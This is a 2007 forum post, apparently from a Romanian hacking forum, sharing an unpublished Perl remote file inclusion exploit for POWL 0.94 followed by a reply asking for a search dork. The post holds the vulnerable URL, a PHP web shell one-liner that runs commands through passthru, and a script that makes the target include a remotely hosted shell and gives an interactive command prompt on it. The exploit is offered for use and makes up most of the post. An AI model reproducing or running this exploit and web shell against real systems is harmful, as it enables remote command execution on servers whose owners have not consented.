kw3rln Posted June 21, 2007 Report Posted June 21, 2007 0day .. inca nepublicat nicaieri #!/usr/bin/perl## POWL - 0.94 - Remote File Inclusion Exploit## Url: [url]http://switch.dl.sourceforge.net/sourceforge/powl/powl_ontowiki-0.94.zip[/url]## Exploit:#[url]http://site.com/[/url][path]/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=[Evil_Script>:]## (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net>## Romanian Security Team .: [url]hTTp://RSTZONE.NET[/url] :.### why i publish this lame bugs? just boring all day..drinking beer.. i will publish sqli too but rfi`s are # more searched than never ## greetz to all RST [rstzone.net] MEMBERZ## Fuckz: GM [h4cky0u] -[bigest nub]use LWP::Simple;print"...........................[RST]...............................\n";print "..\n";print ". SerWeb 0.9.4- Remote FIle Inclusion.\n";print "..\n";print"...............................................................\n";print ". Romanian Security Team -> [url]hTTp://RSTZONE.NET[/url].\n";print ". [c]oded by Kw3rLN - [email]office@rosecuritygroup.net[/email].\n";print"...............................................................\n\n";my $kw3,$path,$shell,$conexiune,$cmd,$data ;if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}$path = $ARGV[0];chomp($path);$shell = $ARGV[1];chomp($shell);$path = $path."/plugins/widgets/htmledit/htmledit.php";sub usage(){ print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; print "Example : perl $0 [url]http://127.0.0.1[/url]http://site.com/cmd.txt\n\n"; print 'Shell : <?phpob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; }while (){print "[kw3rln].[rst] :~\$ ";chomp($cmd=<STDIN>);if ($cmd eq "exit") { exit(0);}$kw3 = $path."?_POWL[installPath]=".$shell."?&cmd=".$cmd;if ($cmd eq "") { print "Enter your command !\n"; }else { $data=get($kw3); print $data ; }} Quote
-G- Posted June 21, 2007 Report Posted June 21, 2007 I`ll apreciate a dork Macar pe PM Oricum nice find . Quote